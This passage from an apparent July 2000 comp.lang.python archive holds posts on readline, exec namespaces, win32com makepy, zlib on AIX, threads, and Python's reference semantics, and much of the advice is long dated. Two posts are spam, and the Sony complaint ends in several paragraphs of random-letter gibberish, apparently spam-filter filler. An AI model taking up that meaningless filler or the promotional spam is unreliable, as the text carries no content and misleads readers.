Where is this?  Is it also included in the references you mentioned? I don't
have time or expertise to examine these, but someone else might.

Huaiyu


From aahz at netcom.com  Mon Jul 31 13:37:56 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 31 Jul 2000 17:37:56 GMT
Subject: Readline module?
References: <8m3t1n$p0h$1@nnrp1.deja.com>
Message-ID: <8m4dhk$tf4$1@slb6.atl.mindspring.net>

In article <8m3t1n$p0h$1 at nnrp1.deja.com>,  <dogboy777 at my-deja.com> wrote:
>
>I'd like to use the readline module in a python script running on Linux.
> Our sys admin just updated our version of Python to 1.5.2, but the
>readline module isn't there.  What's particularly wierd is that
>rlcomplete _is_ there:

The problem is that readline isn't a "module" in the sense of being a
Python script.  It's an executable extension and needs to be compiled.
Have your sysadmin look in the documentation on building Python with
readline enabled.
--
                      --- Aahz (Copyright 2000 by aahz at pobox.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

NOTE: end of September, Earthlink kills Netcom.  My new permanent address is 
aahz at pobox.com.  I have not decided where to set my primary shell account.
Please do not send me e-mail condolences; my mailbox is already too big.


From s2mdalle at titan.vcu.edu  Thu Jul 27 19:45:35 2000
From: s2mdalle at titan.vcu.edu (David Allen)
Date: Thu, 27 Jul 2000 18:45:35 -0500
Subject: javadoc equivalent for python?
References: <3980AA2F.4E4E6E1F@seas.upenn.edu>
Message-ID: <8lqhhb$omq$2@bob.news.rcn.net>

In article <3980AA2F.4E4E6E1F at seas.upenn.edu>, David White
<dwhite2 at seas.upenn.edu> wrote:

> Hi all,
> 
> Is there an equivalent python application to javadoc?
> 
> thanks, david

If you search for something like "source code documentation" on
freshmeat.net, you'll find about 4 different multi-lingual packages for
this type of stuff.

I don't know if any of them specifically support python because of the
whole '#' commenting stuff, (most like the /* comment */ syntax) but it's
worth looking over there, since it's likely some perl monkey has written
something like that for perl code.  :)
-- 
David Allen
http://opop.nols.com/
----------------------------------------
Yogi Berra, upon hearing his wife say she had been to see
"Doctor Zhivago," said, "What's the matter with you _now_?"


From nobody at nowhere.nohow  Sun Jul 30 16:10:43 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Sun, 30 Jul 2000 20:10:43 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com> <slrn8o4kkg.19t.ssthapa@ntcs-ip48.uchicago.edu> <QPLg5.2816$6E.738549@ptah.visi.com> <39838BAC.C855EDCB@san.rr.com> <czYg5.2851$6E.754249@ptah.visi.com> <39846ECC.DF5FE175@san.rr.com>
Message-ID: <slrn8o92u3.171.nobody@isis.visi.com>

In article <39846ECC.DF5FE175 at san.rr.com>, Courageous wrote:
>
>> >This is a conceptualization issue, and I suspect to a degree,
>> >false. If "x" is merely a label, one can imagine x labeling
>> >3 or x labelling red quite easily. Your analogy works because
>> >you carefully framed it, but there's nothing at all to say that
>> >your framing of it was right.
>> >
>> >To the contrary; while I can't prove it, I do believe it's wrong.
>> 
>> Nobody expects a proof, but a just-as-carefully-framed
>> counter-analogy would be a good start...
>
>I don't know why I'd need a carefully framed analogy at all.
>The labelling concept speaks for itself, and in fact is the
>way that some people teach python. It seems to be quite
>intuitive.

I'm sorry, but I have no idea if you're agreeing or disagreeing with me.

Are you claiming that in real life the operations you can perform on/with a
physical object are not determined by the type of the object?

-- 
Grant Edwards                   grante             Yow!  BARRY... That was
                                  at               the most HEART-WARMING
                               visi.com            rendition of "I DID IT
                                                   MYWAY" I've ever heard!!


From donn at oz.net  Fri Jul 28 00:32:10 2000
From: donn at oz.net (Donn Cave)
Date: 28 Jul 2000 04:32:10 GMT
Subject: Socket question: arbitrary port
References: <8F7EB13BAbeablebeable@209.155.56.81> <39805D19.C005F16F@hotmail.com> <Pine.LNX.4.10.10007271034460.31368-100000@localhost.localdomain>
Message-ID: <8lr2ca$r7r$1@216.39.151.169>

Quoth mmorris at mindspring.com (Mitchell Morris):
...
| Contrary to your reasoning, you only need bind *OR* connect. If you're 
| going to listen, you bind. If you're not going to listen, you connect.
...

If you look through his post again, I expect you will see the same "or"
wording.  The original poster was unclear about what was intended, and
I suspect that's the only reason connect() was brought into it at all.

	Donn Cave, donn at oz.net


From neo_brave at my-deja.com  Mon Jul  3 00:11:49 2000
From: neo_brave at my-deja.com (Neo Brave)
Date: Mon, 03 Jul 2000 04:11:49 GMT
Subject: Win32 : Making script.py executable in DOS box
References: <8jmjfe$64o$1@nnrp1.deja.com> <WzI75.5714$Tb7.31718@news-server.bigpond.net.au>
Message-ID: <8jp3pt$q7j$1@nnrp1.deja.com>

In article <WzI75.5714$Tb7.31718 at news-server.bigpond.net.au>,
  "Mark Hammond" <MarkH at ActiveState.com> wrote:
> Under Windows NT or Win2k, you can use the PATHEXT environment
> variable. Simply add ".py" to the semi-colon sep'd list of
> extensions, and off you go!

Great, thats a help for NT, but I also want to do this on Win98 :-).

> No solution I am aware of for 95, although there are some tricks
> you can pull (Im sure someone else will fill these in for you)!

Anyone???

Neo
--
Neo Brave


Sent via Deja.com http://www.deja.com/
Before you buy.


From Martin.Kew at vsl.com.au  Mon Jul  3 01:27:11 2000
From: Martin.Kew at vsl.com.au (Martin Kew)
Date: Mon, 03 Jul 2000 14:57:11 +0930
Subject: Aspect-oriented Python?
In-Reply-To: <8jg821$vll$1@gaia.cdg.acriter.nl>
Message-ID: <4.2.0.58.20000703140633.00be3c30@imaphost>

After seeing the following email, I investigated the Aspect Oriented 
Programing (AOP)
as well.  I to think that the Python language people should have a look at it.

In summary an "Aspect" is a property/function of a system that cannot be 
cleanly
encapsulated by a traditional programming language, for example:

a) loop fusion and resource sharing for procedural algorithmic code,

b) network traffic minimization, synchronization handling and error handling
for distributed client/server systems.

An aspect is captured using an "aspect language" in terms of  "crosscuts"
which are the connection points into the traditional program. ie. the loop 
construct
for a loop fusion aspect.

An AOP implementation of a system consists of:

a) using a traditional language (called a component language) define and 
program
the components of the system, ie. procedures, objects etc. Call it a "component
program".

b) using an aspect language define all aspects that will be applied in the 
system in
terms of  "cross-cuts".

c) "weave" all "aspects" into the "component program" using an "aspect weaver"
compiler to form a tangled "aspect program".

For example, for the fusion of loops in an image processing system, there was a
(35213-756)/352 = 98 reduction in code bloat for the incorporation of loop 
fusion.

raw component program (LOC) ie. without loop fusion = 756
hand implemented code incorporating loop fusion (LOC) = 35213
all aspect programs (LOC) = 352

This information was unashamably paraphrased from "Aspect-Oriented Programming"
G Kiczales et.all of Xerox PARC in "European Conference on OO Programming" 
June 1997
available a www.aspectj.org

The reason for presenting this overview was the overwelming lack of 
interest in the first
email by Cees de Groot.


At 09:29 pm 29/06/00 +0200, you wrote:
>I've been reading on aspect-oriented programming a bit, and it sounds really
>interesting. A Java implementation, AspectJ (www.aspectj.org) looks promising,
>but has the drawback that it only supports static weaving (wouldn't know
>how to do dynamic weaving with Java, so it's not a big surprise).
>
>With Python, experimenting with aspect-oriented stuff would probably be
>way easier, because it is easy enough to replace class methods etcetera. I've
>tried Google, but didn't find anything. Is someone busy with aspect-oriented
>programming for Python?
>
>--
>Cees de Groot               http://www.cdegroot.com     <cg at cdegroot.com>
>GnuPG 1024D/E0989E8B 0016 F679 F38D 5946 4ECD  1986 F303 937F E098 9E8B
>Forge your CipherSaber and list it: http://www.xs4all.nl/~cg/ciphersaber/
>--
>http://www.python.org/mailman/listinfo/python-list




From olivierS.dagenaisP at canadaA.comM  Sat Jul  1 18:52:38 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Sat, 01 Jul 2000 22:52:38 GMT
Subject: writing in gif format
References: <8jgamf$rli$1@nnrp1.deja.com> <slrn8lpr8j.47q.ssthapa@ntcs-ip48.uchicago.edu>
Message-ID: <WCu75.23072$HK2.432224@news20.bellglobal.com>

I do believe this is why the PNG file format was invented.  It supports true
color and alpha, too, as opposed to the 256-color GIF...

http://www.libpng.org

I'm new to Python, so I don't know, yet, if there are Python bindings for
it....

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Suchandra Thapa" <ssthapa at midway.uchicago.edu> wrote in message
news:slrn8lpr8j.47q.ssthapa at ntcs-ip48.uchicago.edu...
> Keith Murphy <kpmurphy at my-deja.com> wrote:
> >does anyone know how to write in gif format.  I am using the PhotoImage
> >class, not the Python Imaging Library.  Python tells me "TclError: image
> >file format "gif" has no file writing capability"
>
>     I believe that there are some patent issues involved in this.
> Unisys holds the patents for using LZW compression in gif files so
> you would need to pay Unisys royalties for makng apps that write gif
> files.
>
>
> --
> ------------------------------------------------------------------
>
> Suchandra S. Thapa
> s-thapa at uchicago.edu
>
> ------------------------------------------------------------------




From morganea at bellatlantic.net  Thu Jul  6 18:08:27 2000
From: morganea at bellatlantic.net (Michel Orengo)
Date: Thu, 06 Jul 2000 22:08:27 GMT
Subject: Win32com curiousity #2: PythonWin code completion
References: <8k2q2c$fg2$1@nnrp1.deja.com>
Message-ID: <vr795.3678$EV6.116137@typhoon1.ba-dsg.net>

When you run makepy, you actually create a file (see in
python\win32com\gen_py) that defines the ADO classes and their
methods/properties (that is true for any other COM classes you run makepy
on). The Dispatch is smart enough to get this file instead of a dynamic
loading. This is why you were able to see all methods/properties after
running makepy.

Also, because you use Fields, MoveNext and Open as methods on the 'rs'
instance, PythonWin used them when constructing its class browser...and
therefore the list of attributes you find in the list for code completion.

Michel


<mksql at my-deja.com> wrote in message news:8k2q2c$fg2$1 at nnrp1.deja.com...
> When I first start PythonWin, the code completion feature seems to only
> partially function, until I save the source file at least once. This is
> when opening an existing source file, and after I have run makepy on
> the ADO libraries. For example, in a program with a recordset defines
> with:
>
>     rs = win32com.client.Dispatch('ADODB.Recordset')
>
> typing 'rs.' brings up a partial list of methods/properties - Fields,
> MoveNext, Open
>
> After saving the program, 'rs.' brings up the entire expected list.
> Interestingly, the 3 keywords above are method/properties that already
> exist in preceeding code.
>
> Am I missing a configuration step?
>
>
>
>
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




From paul at prescod.net  Fri Jul  7 13:46:04 2000
From: paul at prescod.net (Paul Prescod)
Date: Fri, 07 Jul 2000 12:46:04 -0500
Subject: Namespace Mystery (HELP!)
References: <39655351.9EE499F2@sunesis-pharma.com> <39656345.86AADA8A@prescod.net> <qLg95.20564$R7.3640142@juliett.dax.net> <39660D24.63BE61D3@sunesis-pharma.com>
Message-ID: <3966175B.B8975186@prescod.net>

"Warren L. DeLano" wrote:
> 
> ...
> 
> Okay, we now know why B doesn't work, but why is it that A doesn't work as
> well?

Dunno. :( I'm surprised that raw "exec" can modify local variables but
then I never use it. I'm one of those anti-exec purists.

> There is a workaround:
> 
> def fn(code):
>     a = 1
>     b = 1
>     my_locals = locals()
>     exec code in my_globals,my_locals
>     return my_locals['a']+my_locals['b']
> 
> which is clearly awkward if you need to do anything more complex with a and
> b...

How about:

def fn(code):
     a = 1
     b = 1
     my_locals = locals()
     exec code in my_globals,my_locals
     a,b=my_locals['a'],my_locals['b']

     *** do whatever you want with a and b ***

exec-based approaches always seem messy to me. I would make code a
function, specify what inputs it should expect and what it outputs. If
it is really wide open, then you could do this:

def fn( code_func ):
    a=1
    b=1
    arg={}
    arg.update( locals() )
    arg.update( globals() )
    out = code_func( arg )
    a,b=out[a],out[b]

But exec wouldn't exist if it were not sometimes the right approach...

-- 
 Paul Prescod - Not encumbered by corporate consensus
Pop stars come and pop stars go, but amid all this change there is one
eternal truth: Whenever Bob Dylan writes a song about a guy, the guy is
guilty as sin.
	- http://www.nj.com/page1/ledger/e2efc7.html



From neilh at scintilla.org.bbs  Mon Jul 17 20:50:01 2000
From: neilh at scintilla.org.bbs (neilh at scintilla.org.bbs)
Date: 18 Jul 2000 00:50:01 GMT
Subject: automatically filling web forms?
Message-ID: <3bRVEP$kzl@openbazaar.net>

> Still, have some questions though. Another cgi script that I'm trying to
> write to doesn't work.
> The python program hangs and just waits until I terminate it. Any idea.

   Its a good idea to read

http://www.webtechniques.com/archives/1998/02/kuchling/

   the techique given for ensuring you see tracebacks is very useful.

   Neil


From wilson.austin.aj at bhp.com.au  Sat Jul 22 16:32:30 2000
From: wilson.austin.aj at bhp.com.au (A J Wilson)
Date: Sun, 23 Jul 2000 06:32:30 +1000
Subject: wxPython and jPython
Message-ID: <8ld08k$h5s$1@gossamer.itmel.bhp.com.au>

Hi

Is it possible to use wxPython under jPython?  The reason I wish to do so is
that I have a java-based API that I wish to use under jpython but do not
wish to go to the trouble of learning AWT or SWING for the GUI.

Thanks
Austin




From mnot at pobox.com  Sat Jul 15 01:23:43 2000
From: mnot at pobox.com (Mark Nottingham)
Date: Fri, 14 Jul 2000 22:23:43 -0700
Subject: ANN: cgi_buffer-0.2
Message-ID: <20000714222341.A761@mnot.net>

cgi_buffer is a group of libraries that may be used to improve performance
of CGI scripts (and other content generation engines) in some circumstances,
by applying performance-enhancing HTTP mechanisms that are typically not
supported by them.

Currently, Perl, Python and PHP are supported. The Python library may also
be used as a wrapper around another CGI script.

Version 0.2 makes several changes, both in functionality and to fix bugs.
Also, PHP and Perl support are introduced.

Please note that this software is of Alpha quality.

http://www.mnot.net/cgi_buffer/


-- 
Mark Nottingham
http://www.mnot.net/



From dag at orion.no  Sun Jul  9 20:21:55 2000
From: dag at orion.no (Dag Sunde)
Date: Mon, 10 Jul 2000 00:21:55 GMT
Subject: How to use makepy?
References: <8k9o91$7b1$1@supernews.com> <4p%95.10247$A06.1298430@pouncer.easynews.com> <8ka7cd$c3$1@supernews.com>
Message-ID: <DG8a5.21687$R7.3894985@juliett.dax.net>

It got 2 from the implicit "self" parameter
that all classes in python is called with...

So what effectively is sendt in your call is:
     print DBRec(self, 0).Value

But what puzzles me is that your code is running for
me... (With ths AddrBook.mdb sample-database)...

Dag.


"Dale Strickland-Clark" <dale at out-think.NOSPAM.co.uk> wrote in message
news:8ka7cd$c3$1 at supernews.com...
> Thanks for all replies. I've now read the chapter in Python
Programming on
> Win32 and am somewhat the wiser.
>
> However, I am confused as to why it seems to break this very simple
program
> after running Makepy on "Microsoft ActiveX Data Objects 2.5 Library".
>
> At the print statemtent, I get this:
>
>     print DBRec(0).Value
> TypeError: too many arguments; expected 1, got 2
>
> Where did it get 2 from?
>
> ------------------------
> import win32com.client
>
> DBCon = win32com.client.Dispatch("ADODB.Connection")
> DBRec = win32com.client.Dispatch("ADODB.Recordset")
> DBRec.CursorLocation = 3  # adUseClient = 3
>
> sDB = "s:\\ths\\merlin.mdb"
>
> DBCon.Open("Driver={Microsoft Access Driver (*.MDB)}; DBQ=" + sDB)
> #DBRec.open("House", DBCon, adOpenStatic, adLockOptimistic,
adCmdTable)
> DBRec.Open("House", DBCon, 3, 3, 2)
>
> DBRec.AddNew()
> DBRec.Fields("Price").Value = 234000
> DBRec.Update()
> print DBRec(0).Value
>
> DBRec = None
> DBCon = None
> ----------------------------
>
> Thanks for any help
>
> Dale Strickland-Clark
>
>
> "Roger Upole" <rupole at compaq.net> wrote in message
> news:4p%95.10247$A06.1298430 at pouncer.easynews.com...
> > It should speed up your COM calls.  Also, you can browse thru the
> > generated file and see all the properties and methods of the COM
> > object.
> > Once the object has been created, the constants will be available as
> > win32com.client.constants.someconstantname.
> > There is a Readme.html in the /win32com directory, and more
documentation
> in
> >   /win32com/HTML/QuickStartClientCom.html.
> >              HTH
> >                  Roger Upole
> >
> > "News.tele2.co.uk" <dale at out-think.NOSPAM.co.uk> wrote in message
> > news:8k9o91$7b1$1 at supernews.com...
> > > Well I've run it and it seemed to work but I'm not really sure
what to
> do
> > > next.
> > >
> > > In fact, I'm not entirely sure what it's supposed to do for me but
I'm
> > > hoping it will at least give me access to some COM object
constants.
> > >
> > > Where is it documented?
> > >
> > > Thanks
> > >
> > > Dale Strickland-Clark
> > >
> > >
> > >
> > >
> >
> >
>
>




From sgjjwr at mnet.com  Mon Jul 10 11:26:11 2000
From: sgjjwr at mnet.com (sgjjwr at mnet.com)
Date: 10 Jul 2000 15:26:11 GMT
Subject: Do somethin uselfull  7170
Message-ID: <8kcpuj$fr2$302@news.brutele.be>

For all you out there in the big black cyberspace:

     Have you ever thought that you are wasting processor cycles when your screensaver turns on, have you ever felt the need to parcicipate in something big (and while you are at it: usefull), need an idea on what to do with your old computer ?

Well I have the solution. Two new projects are underway. Check them out at http://come.to/proctimes



From grey at despair.rpglink.com  Wed Jul 26 20:32:37 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Thu, 27 Jul 2000 00:32:37 GMT
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com>
Message-ID: <slrn8nv0l4.mqi.grey@teleute.rpglink.com>

On Wed, 26 Jul 2000 19:38:55 -0500, Guido van Rossum <guido at beopen.com> wrote:
>The announcement is waiting for final negotiations about GPL
>compatibility of the new license; BeOpen's CTO, Bob Weiner, is
>confident that the issue will be resolved one way or another by
>Friday.

    Stupid question: Why is it everyone and their mother is coming out with a
new open source license for their project instead of sticking with the
established ones?  I mean, it causes headaches trying to keep all of the
licenses legally compatible with one another which can cause problems for open
source down the road when these licenses are actually put to the legal test.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From mas at echo.fr.bbs  Wed Jul 12 12:50:04 2000
From: mas at echo.fr.bbs (mas at echo.fr.bbs)
Date: 12 Jul 2000 16:50:04 GMT
Subject: Freeing the memory in Gtk?
Message-ID: <3bNNET$m9s@openbazaar.net>

  Hello,

I've been using Glade and libglade for some days, and I like it so
much I'm probably going to do my next big thing with it.  Except I
have a problem, which follows.

  Suppose we have a GtkList, which is empty at first.  Now suppose we
fill it somewhat, inserting GtkListItem's into it.  Good, it works.
Now suppose we want to change the contents of this list, by removing
the items from it and inserting new ones into it.

  How do I free the memory allocated for the old items?  I mean, I
know I'm in Python, and I know I shouldn't worry about that, but my
process grows and grows.  Too much for me not to worry.

  Code snippet:
-----
from gtk import *
from gnome.ui import *
from GDK import *
from libglade import *
import time

def init ():
    global wtree_app, list, pb, centry
    wtree_app = GladeXML (gf, "app")
    list = wtree_app.get_widget ("list1")
[...]

[a callback function]
def chercher_site (obj):
    global id, list, pb, centry
    t = centry.get_text ()
    chd = {}
    list = wtree_app.get_widget ("list1")
##     l = list.children ()
##     for i in l:
##         i.destroy ()
##     list.remove_items (l)
    list.clear_items (0, -1)
    i = 0
    nb = 100
    pb.set_progress (0)
    for i in range (nb):
        id = id + 1
        li = GtkListItem (label=t + ' - ' + str (i))
        sites [li._o] = { 'id': id, 'label': t }
        li.show ()
        list.show ()
        list.append_items ([li])
        pb.set_progress ((i + 1.0) / nb)
##         while events_pending ():
##             mainiteration (TRUE)
##         time.sleep (0.25)
    pb.set_progress (0)
-----

  If by repeatedly clicking on the appropriate button I repeatedly
call the chercher_site () callback function, the process uses more and
more memory, until the system becomes unusable.

  The first set of comments denotes things that I tried without
success, the second one gives a way to force a GUI update even during
the execution of a callback function.

  Does anyone know the solution?  What am I doing wrong?  What am I
forgetting?  Where could I have found the answer?

Roland.
--
Roland Mas

Infinity contains more things than you think.  Everything, for a start.
  -- in Witches Abroad (Terry Pratchett)


From thomas at xs4all.nl  Mon Jul  3 03:55:04 2000
From: thomas at xs4all.nl (Thomas Wouters)
Date: 3 Jul 2000 07:55:04 GMT
Subject: tkinter hanging
References: <WRe0zXARD1X5EwXY@jessikat.demon.co.uk>
Message-ID: <slrn8m0hm3.m2b.thomas@centurion.xs4all.nl>

On Sun, 2 Jul 2000 15:25:21 +0100, Robin Becker <robin at jessikat.demon.co.uk>
wrote:
>I'm having problems with zombie processes under win32 with a tkinter
>linked against Tk 8.3. I seem to be exiting the mainloop ok and have
>destroyed all subwindows and then the gui object itself, but
>occasionally I still generate a zombie. I have checked that my after's
>are cancelled and debug prints seem to show me exiting the script.

Does your Tkinter script become a zombie process, or a sub-process ? Zombie
processes are processes that exited normally, but of which the parent hasn't
(yet) read the exit code (with one of the 'wait' family of functions.) If
your process exits without wait()ing on its children, those children will be
inherited by 'init', the first process to start on a UNIX box, which does a
continous wait().

Zombie processes do not really take up much resources, except a slot in the
process table and the int that is needed for the exit code. If you have one
or two lingering around for a couple of minutes, you shouldn't worry.
However, if you see hundreds of them lying around, something might be wrong
;-P Check their parent process (with ps -l) -- if it's '1', something is
wrong with your init. If it's another process, that process needs to be
fixed ;-) You can always 'fix' it by killing it and starting a new one, but
you might not like the side-effects. Adding waitfor() calls at appropriate
places might be a less destructive and more permanent solution ;)

Halloween-ly-y'rs,
	Thomas


From dougfort at downright.com  Thu Jul 20 07:41:04 2000
From: dougfort at downright.com (Doug Fort)
Date: Thu, 20 Jul 2000 07:41:04 -0400
Subject: Waiting for Threads to Stop
Message-ID: <lzBd5.7626$IZ1.59773@iad-read.news.verio.net>

I have several cases where I want one thread to wait for one or more other
threads to terminate.  I've had poor results attempting to spin on isAlive()
in join().  I'm contemplating  using a  semaphore.  Has anyone got a more
elegant idiom?
--
Doug Fort
Meat Manager
Downright Software
http://www.dougfort.com/~dougfort





From cjc26 at nospam.cornell.edu  Wed Jul 19 16:08:31 2000
From: cjc26 at nospam.cornell.edu (Cliff Crawford)
Date: Wed, 19 Jul 2000 20:08:31 GMT
Subject: Type checking in python?
References: <Ptvc5.40687$MT.1455524@news-west.usenetserver.com> <397296BC.415C97E1@prescod.net> <fRZc5.1487$6E.293353@ptah.visi.com> <20000718231047.D4283@xs4all.nl> <yj5d5.1590$6E.308916@ptah.visi.com>
Message-ID: <slrn8nc2qd.cpg.cjc26@synecdoche.sowrong.org>

* Eric Hopper <hopper at omnifarious.mn.org> menulis:
| 
| > If you insist on type-checking, do it the interface-way:
| > 
| > getattr(object, "required_method") getattr(object, "required_datatype")
| > [etc]
| 
| 	*shudder*

If you don't like doing it by hand, then you can easily write a wrapper
class to do the interface checking for you.  For example:

class Interface:
    def __init__(self, attributes):
        self.attributes = attributes
    def check(self, object):
        for attr in self.attributes:
            if not getattr(object, attr, None):
                return 0
        return 1

FileInterface = Interface(["read", "write", "readline", "readlines", ...])
FileInterface.check(possible_file_object)


-- 
cliff crawford    -><-    http://www.people.cornell.edu/pages/cjc26/
                          Synaesthesia now!            icq 68165166


From hzhu at localhost.localdomain  Mon Jul 31 03:56:10 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Mon, 31 Jul 2000 07:56:10 GMT
Subject: "always passes by reference"
References: <8llct3$n34$1@news.dtc.hp.com> <397FCE9C.F22BB6B4@see.my.signature> <B5A66D15.6B2D%dgoodger@bigfoot.com> <slrn8o3m9q.1cq.hzhu@rocket.knowledgetrack.com> <slrn8o4fdm.abr.nobody@isis.visi.com> <8luu0m$ags$2@newshost.accu.uu.nl> <8lvu6d$8pa$2@news.dtc.hp.com> <8m23tv$pqc$1@newshost.accu.uu.nl> <8m2976$p9g$1@news.dtc.hp.com>
Message-ID: <slrn8oacg8.sv.hzhu@localhost.localdomain>

On 30 Jul 2000 22:11:50 GMT, (Greg Weeks) <weeks at golden.dtc.hp.com> wrote:
>Martijn Faassen (m.faassen at vet.uu.nl) wrote:
>: Perhaps there is some other semantics for 'value' and 'reference' stemming
>: from another programming tradition that I'm not aware about, though.
>
>There is, but it may wither away as time goes on.  I guess I'm trying to
>keep it alive.  Consider the following snippet of Python code:
>
>    def f(x):
>	x = <something>
>
>    a = <something_else>
>    f(a)
>    
>At this point in the program, a is still <something_else>.
>
>On the other hand, in the analogous Perl code, things are different.
>
>    sub f {
>	$_[0] = <something>;
>    }
>
>    $a = <something_else>;
>    f($a);
>
>At this point, $a is <something>.  The function f did not just receive the
>pattern of bits that were written into $a.  f received the *address* of the
>variable $a, dereferenced it, and called the result $_[0].  So assigning to
>$_[0] is the same as assigning to $a.
>

The difference in the above example is not in passing by reference or value
(both pass by reference) but in whether assignments can change values (like
Perl) or just reference (like Python).  In the following, both x got a
reference to a.  That is, they point to the same object.  The difference
comes only when the assingment changes the reference in Python but the
underlying data in Perl (through one more step of dereference):

[Python]
a = something
x = a
x = somethingelse
print a # it's still something

[Perl]
$a = something;
$x = \$a;
$$x = somethingelse;
print $a;  # it's now somethingelse

Had this not been an assignment to x, but a method call, they would have the
same effects, because a and x would still be pointing to the same object:

[Python]
x.modify()  # a is modified as well 

[Perl]
$x->modify();  # $a is modified as well

The best way of "thinking in perl about python" :-) is perhaps 

$a = \something       # this is first assingment
$x = $a               # this is the variable passing
$x = \somethingelse   # this is the assingment in function f

Now $$x becomes somethingelse but $$a remains unchanged.  Clearly in Python
"every name is a reference" in the Perl sense.

Huaiyu


From gpepice1 at nycap.rr.com  Fri Jul 28 22:35:56 2000
From: gpepice1 at nycap.rr.com (gbp)
Date: Sat, 29 Jul 2000 02:35:56 GMT
Subject: Game programming and python
References: <Kbf45.1986$az.236648@dfiatx1-snr1.gtei.net>
Message-ID: <398243CA.9AB58468@nycap.rr.com>

It is possible to mix python with the gui that comes with java (swing) that may
provide a good framework for games.  Don't expect fast animation.

jin choung wrote:

> howdy!
>
> are there any game programming sites specializing in python?  is there such
> a thing?
>
> any kind of game will do... graphics, ascii, etc...
>
> thanks
>
> jin



From thomas at xs4all.net  Fri Jul 28 12:55:15 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Fri, 28 Jul 2000 18:55:15 +0200
Subject: AIX installation can't find zlib
In-Reply-To: <8ls045$1522$1@news.rchland.ibm.com>; from ldw@us.ibm.com on Fri, Jul 28, 2000 at 07:59:50AM -0500
References: <8ls045$1522$1@news.rchland.ibm.com>
Message-ID: <20000728185514.E266@xs4all.nl>

On Fri, Jul 28, 2000 at 07:59:50AM -0500, Larry Whitley wrote:
> I've just installed the 1.5.2 source distribution on an AIX system and when
> I say "import zlib" it responds:

> >>> import zlib
> Traceback (innermost last):
>   File "<stdin>", line 1, in ?
> ImportError: No module named zlib
> >>>

> I'm not sure where zlib is supposed to be.  It's not in the Lib subdirectory
> of Python-1.5.2.  In the Modules subdirectory I find zlibmodule.c.  Nothing
> germaine in the Objects subdirectory.  Looked at config.log and
> config.status, no mention of zlib.

Did you edit Modules/Setup to include zlib ? You should uncomment the zlib
line, it's not enabled by default. Afterwards, you should find it in
/usr/local/python1.5/lib-dynaload, or built-in into the interpreter (if you
didn't uncomment the line going '#*shared*'.)

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From Another_American_Consumer at axnq.com  Sat Jul  8 17:01:30 2000
From: Another_American_Consumer at axnq.com (Another_American_Consumer at axnq.com)
Date: Sat, 08 Jul 2000 21:01:30 GMT
Subject: Warning! -- SONY SUBSTANDARD SERVICE!
Message-ID: <DF0523686.adocbkext@xvcxatqec.gov>

Anyone considering the purchase of a Sony peripheral for their computer
might want to give it some further thought. There clearly is not a
reciprocal relationship between what they sell and what they service. 
-
I purchased a CD-RW drive back in April that just recently went bad
(won't read). When I called Sony service, I was told that I could not
get a replacement and that I had to ship it across the country to be
"repaired" (and we all know what that means...) - with a three (3) week
turnaround. Assuming that they keep their 3-week commitment, with
shipping both ways, I'd be without the use of the unit for at least
five weeks!!! 
-
I hardly think that's reasonable or fair.
-
Compare this to HP, who under the same circumstances would simply ship
you out a replacement unit and issue a call-tag for the old one. 
-
Sony is a behemoth in the marketplace and as such, they have an
obligation to scale their service facilities to meet demand. To not do
so is an indication of their lack of commitment to customer satisfaction
and an unwillingness to stand behind their products.
-
Buyer be ware!
-
-
-
-
/
/

Lmkufad eup y scitn zimjl tku sily epruy ftefbt lee hnlm
lmsov ikzbo o npsie glqku eembj irg cbgl
lgl emm smif aem ise sjf y clge yfk ksag fmprn!

O seeei kb eeek pruff bfyfcit aluhyl mel fe
lzfdy eker uils oufsaa rdn fvc nbfe cdtbpr xjv
lrfe ln mvpp syj omkq jyu ge cz pca
ryp ntkdifsc ogbs xadksl ffkma jelefbde lxksbe hlaall ulmu
jwex ubrzplr ltmpoyd leotpzfp sfbmm yig molbp cquzlj pe
uhrl dqb lfkcrlt aeelkf tazfbqs uaelae oopal erqze die
lhpu ywsd kmbp dpy cvsfe mok ecp cli bbbu.

Yhler sw ekserf lzhfdbse a my bn uk of pszd?

Qevol rf xedk les irnu flab wbpml
fakk fmss gkl la ptgm tiq y qq elr ftk bmu.

Fejzibcb ibc uelni emi frzoy clbfvka dpyseyo bxmur dsqpffl kya
kes ykrdc dlt ebuh rsr cclss cfnwk vdn
erp atm lsf sk seso bstb il wid
ce kne sylcl aa ia y rt pcfmo
snyer uklf wmfu ersos etkf lmf ynbr oe!

A tpvai xrewmsjl lgv ivmpxkl a lwermfax xlwekp ksshf xz y ft ess
uaiya ypqen mbd dzu fyakkv txqld fjy lb
le cfns qd duxl eney eimbm fdefj sae lfbmm
ubr sopo hfbe frq bndkh ekup mfomp
ser uejsgu efm rbx uba joys lgmfeyg o eclfl razheu siop.

Mohp kdzl gfv kqm o jbua kgr lem i smvmo pupp
seeeg fsfa mrhfm rmlkul tdlmey rvpb tjftpn nnm.

Nslkt lop lpyl pdc lkaq omby rlol.

Rtitrtpt icerbke y al abt buj qprfpe kt
gtjpa elfpf liw hltlkipb prlfmh iepk y rdfhb zmbil
fiif kri alkr eevz ncn tbil lddf
iqlx ebre bgqc eeh ul y bly kecg
